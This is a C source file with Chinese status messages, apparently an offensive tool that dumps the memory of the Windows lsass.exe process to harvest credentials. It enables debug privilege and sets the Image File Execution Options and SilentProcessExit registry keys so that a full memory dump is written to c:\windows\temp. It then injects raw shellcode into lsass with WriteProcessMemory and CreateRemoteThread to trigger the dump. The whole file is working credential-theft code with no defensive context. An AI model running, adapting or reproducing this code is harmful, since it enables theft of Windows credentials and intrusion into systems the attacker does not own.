1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187
| #include <Windows.h> #include <tlhelp32.h> #include <stdio.h> #include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")
#define IFEO_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe" #define SILENT_PROCESS_EXIT_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe" #define LOCAL_DUMP 0x2 #define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200 #define DUMP_FOLDER L"c:\\windows\\temp" #define MiniDumpWithFullMemory 0x2
BOOL EnableDebugPriv() { HANDLE hToken = NULL; LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { printf(" - 获取当前进程Token失败 %#X\n", GetLastError()); return FALSE; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { printf(" - Lookup SE_DEBUG_NAME失败 %#X\n", GetLastError()); return FALSE; } TOKEN_PRIVILEGES tokenPriv; tokenPriv.PrivilegeCount = 1; tokenPriv.Privileges[0].Luid = luid; tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL)) { printf(" - AdjustTokenPrivileges 失败: %#X\n", GetLastError()); return FALSE; } return TRUE; }
BOOL setRelatedRegs(PCWCHAR procName) {
HKEY hkResSubIFEO = NULL; HKEY hkResSubSPE = NULL; DWORD globalFlag = FLG_MONITOR_SILENT_PROCESS_EXIT; DWORD reportingMode = MiniDumpWithFullMemory; DWORD dumpType = LOCAL_DUMP, retstatus = -1;
BOOL ret = FALSE;
if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, IFEO_REG_KEY, &hkResSubIFEO))) { printf(" - 打开注册表项 Image_File_Execution_Options 失败: %#X\n", GetLastError()); return -1; } if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubIFEO, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&globalFlag, sizeof(globalFlag)))) { printf(" - 设置注册表键 GlobalFlag 键值失败: %#X\n", GetLastError()); return -1; }
if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, SILENT_PROCESS_EXIT_REG_KEY, &hkResSubSPE))) { printf(" - 打开注册表项 SilentProcessExit 失败: %#X\n", GetLastError()); return -1; } if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&reportingMode, sizeof(reportingMode))) || ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)DUMP_FOLDER, lstrlenW(DUMP_FOLDER) * 2)) || ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"DumpType", 0, REG_DWORD, (const BYTE*)&dumpType, sizeof(dumpType)))) { printf(" - 设置注册表键 reportingMode|LocalDumpFolder|DumpType 键值失败: %#X\n", GetLastError()); return -1; } printf("[+]注册表设置完成 ...\n"); ret = TRUE; if (hkResSubIFEO) CloseHandle(hkResSubIFEO); if (hkResSubSPE) CloseHandle(hkResSubSPE);
return ret; }
DWORD getPidByName(PCWCHAR procName) {
HANDLE hProcSnapshot; DWORD retPid = -1; hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32W pe;
if (INVALID_HANDLE_VALUE == hProcSnapshot) { printf(" - 创建快照失败!\n"); return -1; } pe.dwSize = sizeof(PROCESSENTRY32W); if (!Process32First(hProcSnapshot, &pe)) { printf(" - Process32First Error : %#X\n", GetLastError()); return -1; } do { if (!lstrcmpiW(procName, PathFindFileName(pe.szExeFile))) { retPid = pe.th32ProcessID; } } while (Process32Next(hProcSnapshot, &pe)); CloseHandle(hProcSnapshot); return retPid; }
typedef NTSTATUS(NTAPI* fRtlReportSilentProcessExit)( HANDLE processHandle, NTSTATUS ExitStatus );
typedef struct _RtlReportSilentProcessExitParam { HANDLE GCP; FARPROC dwRtlReportSilentProcessExit; } RtlReportSilentProcessExitParam;
DWORD WINAPI ThreadProc(LPVOID lpParameter) {
fRtlReportSilentProcessExit RtlReportSilentProcessExit; RtlReportSilentProcessExitParam* pRP = (RtlReportSilentProcessExitParam*)lpParameter; RtlReportSilentProcessExit = (fRtlReportSilentProcessExit)pRP->dwRtlReportSilentProcessExit; RtlReportSilentProcessExit(pRP->GCP, 0);
return 0; }
INT main() { NTSTATUS ntStatus = -1; HMODULE hNtMod = NULL; PCWCHAR targetProcName = L"lsass.exe"; DWORD pid = -1; HANDLE hLsassProc = NULL; DWORD dwSize = 4096;
char sc[] = "\x65\x48\x8B\x14\x25\x60\x00\x00\x00\x48\x8B\x5A\x18\x48\x8B\x73\x28\x48\x8B\x36\x48\x8B\x36\x48\x8B\x36\x48\x8B\x5E\x20\x8B\x53\x3C\x48\x03\xD3\x8B\x92\x88\x00\x00\x00\x48\x03\xD3\x8B\x72\x20\x48\x03\xF3\x48\x33\xC9\x48\xFF\xC1\xAD\x48\x03\xC3\x81\x38\x52\x74\x6C\x52\x75\xF1\x81\x78\x04\x65\x70\x6F\x72\x75\xE8\x81\x78\x08\x74\x53\x69\x6C\x75\xDF\x8B\x72\x24\x48\x03\xF3\x66\x8B\x0C\x4E\x48\xFF\xC9\x8B\x72\x1C\x48\x03\xF3\x8B\x14\x8E\x48\x03\xD3\x48\x8B\xDA\x48\xC7\xC1\xFF\xFF\xFF\xFF\x48\xC7\xC2\x00\x00\x00\x00\xFF\xD3\xC3"; if (!EnableDebugPriv()) { printf(" - 启用当前进程DEBUG权限失败: %#X\n", GetLastError()); return 1; } printf("[+]启用当前进程DEBUG权限 OK\n");
if (!setRelatedRegs(targetProcName)) { printf(" - 设置相关注册表键值失败: %#X\n", GetLastError()); return 1; } printf("[+]设置相关注册表键值 OK\n");
pid = getPidByName(targetProcName); if (-1 == pid) { printf(" - 获取目标进程pid: %#X\n", pid); return 1; } printf("[+]获取目标PID: %#X\n", pid);
hLsassProc = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); if (!hLsassProc) { printf(" - 获取lsass进程句柄失败: %#X\n", GetLastError()); return -1; } printf("[+]获取lsass进程句柄: %#X\n", (DWORD)hLsassProc);
LPVOID base_address = VirtualAllocEx(hLsassProc, 0, sizeof(sc), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (base_address == 0) { printf("[-]获取地址失败 ERRORCODE: %d", GetLastError()); return -1; } printf("[+]获取地址成功: %p\n", base_address); BOOL res = WriteProcessMemory(hLsassProc, base_address, &sc, sizeof(sc), 0); if (!res) { printf("[-]写入函数失败\n"); return -1; } printf("[+]写入函数成功\n[+]function_address: %p\n", base_address);
DWORD ID; HANDLE ThreadHandle = CreateRemoteThread(hLsassProc, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, CREATE_SUSPENDED, &ID); if (ThreadHandle) { printf("[+]ThreadInject Success\n"); ResumeThread(ThreadHandle);
} printf("[+]dump文件在c:\\windows\\temp\\lsass-*\\"); return 0; }
|